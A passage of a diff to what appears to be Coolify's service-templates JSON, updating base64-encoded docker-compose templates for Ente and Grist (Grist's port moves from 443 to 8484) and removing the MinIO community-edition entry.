V9TTVRQX0VOQ1JZUFRJT049JHtFTlRFX1NNVFBfRU5DUllQVElPTn0nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgdm9sdW1lczoKICAgICAgLSAnbXVzZXVtLWRhdGE6L2RhdGEnCiAgICAgIC0gJ211c2V1bS1jb25maWc6L2NvbmZpZycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjgwODAvcGluZycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgd2ViOgogICAgaW1hZ2U6IGdoY3IuaW8vZW50ZS1pby93ZWIKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9XRUJfMzAwMAogICAgICAtICdFTlRFX0FQSV9PUklHSU49JHtTRVJWSUNFX0ZRRE5fTVVTRVVNfScKICAgICAgLSAnRU5URV9BTEJVTVNfT1JJR0lOPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLS1mYWlsJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVM6LXBndXNlcn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7U0VSVklDRV9EQl9OQU1FOi1lbnRlX2RifScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICR7UE9TVEdSRVNfVVNFUn0gLWQgJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=",
+ "compose": "c2VydmljZXM6CiAgbXVzZXVtOgogICAgaW1hZ2U6ICdnaGNyLmlvL2VudGUtaW8vc2VydmVyOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9NVVNFVU1fODA4MAogICAgICAtICdFTlRFX0hUVFBfVVNFX1RMUz0ke0VOVEVfSFRUUF9VU0VfVExTOi1mYWxzZX0nCiAgICAgIC0gJ0VOVEVfQVBQU19QVUJMSUNfQUxCVU1TPSR7U0VSVklDRV9GUUROX1dFQl8zMDAyfScKICAgICAgLSAnRU5URV9BUFBTX0NBU1Q9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDR9JwogICAgICAtICdFTlRFX0FQUFNfQUNDT1VOVFM9JHtTRVJWSUNFX0ZRRE5fV0VCXzMwMDF9JwogICAgICAtICdFTlRFX1BIT1RPU19PUklHSU49JHtTRVJWSUNFX0ZRRE5fV0VCfScKICAgICAgLSAnRU5URV9EQl9IT1NUPSR7RU5URV9EQl9IT1NUOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0VOVEVfREJfUE9SVD0ke0VOVEVfREJfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0VOVEVfREJfTkFNRT0ke0VOVEVfREJfTkFNRTotZW50ZV9kYn0nCiAgICAgIC0gJ0VOVEVfREJfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFUzotcGd1c2VyfScKICAgICAgLSAnRU5URV9EQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdFTlRFX0tFWV9FTkNSWVBUSU9OPSR7U0VSVklDRV9SRUFMQkFTRTY0X0VOQ1JZUFRJT059JwogICAgICAtICdFTlRFX0tFWV9IQVNIPSR7U0VSVklDRV9SRUFMQkFTRTY0XzY0X0hBU0h9JwogICAgICAtICdFTlRFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1JFQUxCQVNFNjRfSldUfScKICAgICAgLSAnRU5URV9JTlRFUk5BTF9BRE1JTj0ke0VOVEVfSU5URVJOQUxfQURNSU46LTE1ODA1NTk5NjIzODY0Mzh9JwogICAgICAtICdFTlRFX0lOVEVSTkFMX0RJU0FCTEVfUkVHSVNUUkFUSU9OPSR7RU5URV9JTlRFUk5BTF9ESVNBQkxFX1JFR0lTVFJBVElPTjotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9BUkVfTE9DQUxfQlVDS0VUUz0ke1BSSU1BUllfU1RPUkFHRV9BUkVfTE9DQUxfQlVDS0VUUzotZmFsc2V9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9VU0VfUEFUSF9TVFlMRV9VUkxTPSR7UFJJTUFSWV9TVE9SQUdFX1VTRV9QQVRIX1NUWUxFX1VSTFM6LXRydWV9JwogICAgICAtICdFTlRFX1MzX0IyX0VVX0NFTl9LRVk9JHtTM19TVE9SQUdFX0tFWTo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fU0VDUkVUPSR7UzNfU1RPUkFHRV9TRUNSRVQ6P30nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0VORFBPSU5UPSR7UzNfU1RPUkFHRV9FTkRQT0lOVDo/fScKICAgICAgLSAnRU5URV9TM19CMl9FVV9DRU5fUkVHSU9OPSR7UzNfU1RPUkFHRV9SRUdJT046LXVzLWVhc3QtMX0nCiAgICAgIC0gJ0VOVEVfUzNfQjJfRVVfQ0VOX0JVQ0tFVD0ke1MzX1NUT1JBR0VfQlVDS0VUOj99JwogICAgICAtICdFTlRFX1NNVFBfSE9TVD0ke0VOVEVfU01UUF9IT1NUfScKICAgICAgLSAnRU5URV9TTVRQX1BPUlQ9JHtFTlRFX1NNVFBfUE9SVH0nCiAgICAgIC0gJ0VOVEVfU01UUF9VU0VSTkFNRT0ke0VOVEVfU01UUF9VU0VSTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9QQVNTV09SRD0ke0VOVEVfU01UUF9QQVNTV09SRH0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTUFJTD0ke0VOVEVfU01UUF9FTUFJTH0nCiAgICAgIC0gJ0VOVEVfU01UUF9TRU5ERVJfTkFNRT0ke0VOVEVfU01UUF9TRU5ERVJfTkFNRX0nCiAgICAgIC0gJ0VOVEVfU01UUF9FTkNSWVBUSU9OPSR7RU5URV9TTVRQX0VOQ1JZUFRJT059JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIHZvbHVtZXM6CiAgICAgIC0gJ211c2V1bS1kYXRhOi9kYXRhJwogICAgICAtICdtdXNldW0tY29uZmlnOi9jb25maWcnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xTy0nCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MDgwL3BpbmcnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHdlYjoKICAgIGltYWdlOiBnaGNyLmlvL2VudGUtaW8vd2ViCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0VCXzMwMDAKICAgICAgLSAnRU5URV9BUElfT1JJR0lOPSR7U0VSVklDRV9GUUROX01VU0VVTX0nCiAgICAgIC0gJ0VOVEVfQUxCVU1TX09SSUdJTj0ke1NFUlZJQ0VfRlFETl9XRUJfMzAwMn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy0tZmFpbCcKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTOi1wZ3VzZXJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1NFUlZJQ0VfREJfTkFNRTotZW50ZV9kYn0nCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAke1BPU1RHUkVTX1VTRVJ9IC1kICR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK",
"tags": [
"photos",
"gallery",
@@ -1891,7 +1891,7 @@
"grist": {
"documentation": "https://support.getgrist.com/?utm_source=coolify.io",
"slogan": "Grist is a modern relational spreadsheet. It combines the flexibility of a spreadsheet with the robustness of a database.",
- "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfNDQzCiAgICAgIC0gJ0FQUF9IT01FX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0FQUF9ET0NfVVJMPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnR1JJU1RfRE9NQUlOPSR7U0VSVklDRV9GUUROX0dSSVNUfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSAnR1JJU1RfU1VQUE9SVF9BTk9OPSR7U1VQUE9SVF9BTk9OOi1mYWxzZX0nCiAgICAgIC0gJ0dSSVNUX0ZPUkNFX0xPR0lOPSR7Rk9SQ0VfTE9HSU46LXRydWV9JwogICAgICAtICdDT09LSUVfTUFYX0FHRT0ke0NPT0tJRV9NQVhfQUdFOi04NjQwMDAwMH0nCiAgICAgIC0gJ0dSSVNUX1BBR0VfVElUTEVfU1VGRklYPSR7UEFHRV9USVRMRV9TVUZGSVg6LSAtIFN1ZmZpeH0nCiAgICAgIC0gJ0dSSVNUX0hJREVfVUlfRUxFTUVOVFM9JHtISURFX1VJX0VMRU1FTlRTOi1iaWxsaW5nLHNlbmRUb0RyaXZlLHN1cHBvcnRHcmlzdCxtdWx0aUFjY291bnRzLHR1dG9yaWFsc30nCiAgICAgIC0gJ0dSSVNUX1VJX0ZFQVRVUkVTPSR7VUlfRkVBVFVSRVM6LWhlbHBDZW50ZXIsYmlsbGluZyx0ZW1wbGF0ZXMsY3JlYXRlU2l0ZSxtdWx0aVNpdGUsc2VuZFRvRHJpdmUsdHV0b3JpYWxzLHN1cHBvcnRHcmlzdH0nCiAgICAgIC0gJ0dSSVNUX0RFRkFVTFRfRU1BSUw9JHtERUZBVUxUX0VNQUlMOi10ZXN0QGV4YW1wbGUuY29tfScKICAgICAgLSAnR1JJU1RfT1JHX0lOX1BBVEg9JHtPUkdfSU5fUEFUSDotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX09JRENfU1BfSE9TVD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX1NDT1BFUz0ke09JRENfSURQX1NDT1BFUzotb3BlbmlkIHByb2ZpbGUgZW1haWx9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TS0lQX0VORF9TRVNTSU9OX0VORFBPSU5UPSR7T0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVDotZmFsc2V9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9JU1NVRVI9JHtPSURDX0lEUF9JU1NVRVI6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9JRD0ke09JRENfSURQX0NMSUVOVF9JRDo/fScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfQ0xJRU5UX1NFQ1JFVD0ke09JRENfSURQX0NMSUVOVF9TRUNSRVQ6P30nCiAgICAgIC0gJ0dSSVNUX1NFU1NJT05fU0VDUkVUPSR7U0VSVklDRV9SRUFMQkFTRTY0XzEyOH0nCiAgICAgIC0gJ0dSSVNUX0hPTUVfSU5DTFVERV9TVEFUSUM9JHtIT01FX0lOQ0xVREVfU1RBVElDOi10cnVlfScKICAgICAgLSAnR1JJU1RfU0FOREJPWF9GTEFWT1I9JHtTQU5EQk9YX0ZMQVZPUjotZ3Zpc29yfScKICAgICAgLSAnQUxMT1dFRF9XRUJIT09LX0RPTUFJTlM9JHtBTExPV0VEX1dFQkhPT0tfRE9NQUlOU30nCiAgICAgIC0gJ0NPTU1FTlRTPSR7Q09NTUVOVFM6LXRydWV9JwogICAgICAtICdUWVBFT1JNX1RZUEU9JHtUWVBFT1JNX1RZUEU6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9EQVRBQkFTRT0ke1BPU1RHUkVTX0RBVEFCQVNFOi1ncmlzdC1kYn0nCiAgICAgIC0gJ1RZUEVPUk1fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1RZUEVPUk1fSE9TVD0ke1RZUEVPUk1fSE9TVH0nCiAgICAgIC0gJ1RZUEVPUk1fUE9SVD0ke1RZUEVPUk1fUE9SVDotNTQzMn0nCiAgICAgIC0gJ1RZUEVPUk1fTE9HR0lORz0ke1RZUEVPUk1fTE9HR0lORzotZmFsc2V9JwogICAgICAtICdSRURJU19VUkw9JHtSRURJU19VUkw6LXJlZGlzOi8vcmVkaXM6NjM3OX0nCiAgICAgIC0gJ0dSSVNUX0hFTFBfQ0VOVEVSPSR7U0VSVklDRV9GUUROX0dSSVNUfS9oZWxwJwogICAgICAtICdHUklTVF9URVJNU19PRl9TRVJWSUNFX0ZRRE49JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L3Rlcm1zJwogICAgICAtICdGUkVFX0NPQUNISU5HX0NBTExfVVJMPSR7RlJFRV9DT0FDSElOR19DQUxMX1VSTH0nCiAgICAgIC0gJ0dSSVNUX0NPTlRBQ1RfU1VQUE9SVF9VUkw9JHtDT05UQUNUX1NVUFBPUlRfVVJMfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0LWRhdGE6L3BlcnNpc3QnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5vZGUKICAgICAgICAtICctZScKICAgICAgICAtICJyZXF1aXJlKCdodHRwJykuZ2V0KCdodHRwOi8vbG9jYWxob3N0Ojg0ODQvc3RhdHVzJywgcmVzID0+IHByb2Nlc3MuZXhpdChyZXMuc3RhdHVzQ29kZSA9PT0gMjAwID8gMCA6IDEpKSIKICAgICAgICAtICc+IC9kZXYvbnVsbCAyPiYxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREFUQUJBU0U6LWdyaXN0LWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdncmlzdF9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6NycKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMjAK",
+ "compose": "c2VydmljZXM6CiAgZ3Jpc3Q6CiAgICBpbWFnZTogJ2dyaXN0bGFicy9ncmlzdDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fR1JJU1RfODQ4NAogICAgICAtICdBUFBfSE9NRV9VUkw9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdBUFBfRE9DX1VSTD0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ0dSSVNUX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9HUklTVH0nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gJ0dSSVNUX1NVUFBPUlRfQU5PTj0ke1NVUFBPUlRfQU5PTjotZmFsc2V9JwogICAgICAtICdHUklTVF9GT1JDRV9MT0dJTj0ke0ZPUkNFX0xPR0lOOi10cnVlfScKICAgICAgLSAnQ09PS0lFX01BWF9BR0U9JHtDT09LSUVfTUFYX0FHRTotODY0MDAwMDB9JwogICAgICAtICdHUklTVF9QQUdFX1RJVExFX1NVRkZJWD0ke1BBR0VfVElUTEVfU1VGRklYOi0gLSBTdWZmaXh9JwogICAgICAtICdHUklTVF9ISURFX1VJX0VMRU1FTlRTPSR7SElERV9VSV9FTEVNRU5UUzotYmlsbGluZyxzZW5kVG9Ecml2ZSxzdXBwb3J0R3Jpc3QsbXVsdGlBY2NvdW50cyx0dXRvcmlhbHN9JwogICAgICAtICdHUklTVF9VSV9GRUFUVVJFUz0ke1VJX0ZFQVRVUkVTOi1oZWxwQ2VudGVyLGJpbGxpbmcsdGVtcGxhdGVzLGNyZWF0ZVNpdGUsbXVsdGlTaXRlLHNlbmRUb0RyaXZlLHR1dG9yaWFscyxzdXBwb3J0R3Jpc3R9JwogICAgICAtICdHUklTVF9ERUZBVUxUX0VNQUlMPSR7REVGQVVMVF9FTUFJTDotP30nCiAgICAgIC0gJ0dSSVNUX09SR19JTl9QQVRIPSR7T1JHX0lOX1BBVEg6LXRydWV9JwogICAgICAtICdHUklTVF9PSURDX1NQX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9JwogICAgICAtICdHUklTVF9PSURDX0lEUF9TQ09QRVM9JHtPSURDX0lEUF9TQ09QRVM6LW9wZW5pZCBwcm9maWxlIGVtYWlsfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfU0tJUF9FTkRfU0VTU0lPTl9FTkRQT0lOVD0ke09JRENfSURQX1NLSVBfRU5EX1NFU1NJT05fRU5EUE9JTlQ6LWZhbHNlfScKICAgICAgLSAnR1JJU1RfT0lEQ19JRFBfSVNTVUVSPSR7T0lEQ19JRFBfSVNTVUVSOj99JwogICAgICAtICdHUklTVF9PSURDX0lEUF9DTElFTlRfSUQ9JHtPSURDX0lEUF9DTElFTlRfSUQ6P30nCiAgICAgIC0gJ0dSSVNUX09JRENfSURQX0NMSUVOVF9TRUNSRVQ9JHtPSURDX0lEUF9DTElFTlRfU0VDUkVUOj99JwogICAgICAtICdHUklTVF9TRVNTSU9OX1NFQ1JFVD0ke1NFUlZJQ0VfUkVBTEJBU0U2NF8xMjh9JwogICAgICAtICdHUklTVF9IT01FX0lOQ0xVREVfU1RBVElDPSR7SE9NRV9JTkNMVURFX1NUQVRJQzotdHJ1ZX0nCiAgICAgIC0gJ0dSSVNUX1NBTkRCT1hfRkxBVk9SPSR7U0FOREJPWF9GTEFWT1I6LWd2aXNvcn0nCiAgICAgIC0gJ0FMTE9XRURfV0VCSE9PS19ET01BSU5TPSR7QUxMT1dFRF9XRUJIT09LX0RPTUFJTlN9JwogICAgICAtICdDT01NRU5UUz0ke0NPTU1FTlRTOi10cnVlfScKICAgICAgLSAnVFlQRU9STV9UWVBFPSR7VFlQRU9STV9UWVBFOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ1RZUEVPUk1fREFUQUJBU0U9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdUWVBFT1JNX1VTRVJOQU1FPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnVFlQRU9STV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdUWVBFT1JNX0hPU1Q9JHtUWVBFT1JNX0hPU1Q6LXBvc3RncmVzfScKICAgICAgLSAnVFlQRU9STV9QT1JUPSR7VFlQRU9STV9QT1JUOi01NDMyfScKICAgICAgLSAnVFlQRU9STV9MT0dHSU5HPSR7VFlQRU9STV9MT0dHSU5HOi1mYWxzZX0nCiAgICAgIC0gJ1JFRElTX1VSTD0ke1JFRElTX1VSTDotcmVkaXM6Ly9yZWRpczo2Mzc5fScKICAgICAgLSAnR1JJU1RfSEVMUF9DRU5URVI9JHtTRVJWSUNFX0ZRRE5fR1JJU1R9L2hlbHAnCiAgICAgIC0gJ0dSSVNUX1RFUk1TX09GX1NFUlZJQ0VfRlFETj0ke1NFUlZJQ0VfRlFETl9HUklTVH0vdGVybXMnCiAgICAgIC0gJ0ZSRUVfQ09BQ0hJTkdfQ0FMTF9VUkw9JHtGUkVFX0NPQUNISU5HX0NBTExfVVJMfScKICAgICAgLSAnR1JJU1RfQ09OVEFDVF9TVVBQT1JUX1VSTD0ke0NPTlRBQ1RfU1VQUE9SVF9VUkx9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3QtZGF0YTovcGVyc2lzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gInJlcXVpcmUoJ2h0dHAnKS5nZXQoJ2h0dHA6Ly9sb2NhbGhvc3Q6ODQ4NC9zdGF0dXMnLCByZXMgPT4gcHJvY2Vzcy5leGl0KHJlcy5zdGF0dXNDb2RlID09PSAyMDAgPyAwIDogMSkpIgogICAgICAgIC0gJz4gL2Rldi9udWxsIDI+JjEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQVRBQkFTRTotZ3Jpc3QtZGJ9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyaXN0X3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo3JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3Jpc3RfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAyMAo=",
"tags": [
"lowcode",
"nocode",
@@ -1902,7 +1902,7 @@
"category": "productivity",
"logo": "svgs/grist.svg",
"minversion": "0.0.0",
- "port": "443"
+ "port": "8484"
},
"grocy": {
"documentation": "https://github.com/grocy/grocy?utm_source=coolify.io",
@@ -2830,21 +2830,6 @@
"minversion": "0.0.0",
"port": "8080"
},
- "minio-community-edition": {
- "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io",
- "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.",
- "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "object",
- "storage",
- "server",
- "s3",
- "api"
- ],
- "category": "storage",
- "logo": "svgs/minio.svg",
- "minversion": "0.0.0"
- },
"mixpost": {
"documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io",
"slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.",
@@ -3658,27 +3643,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": 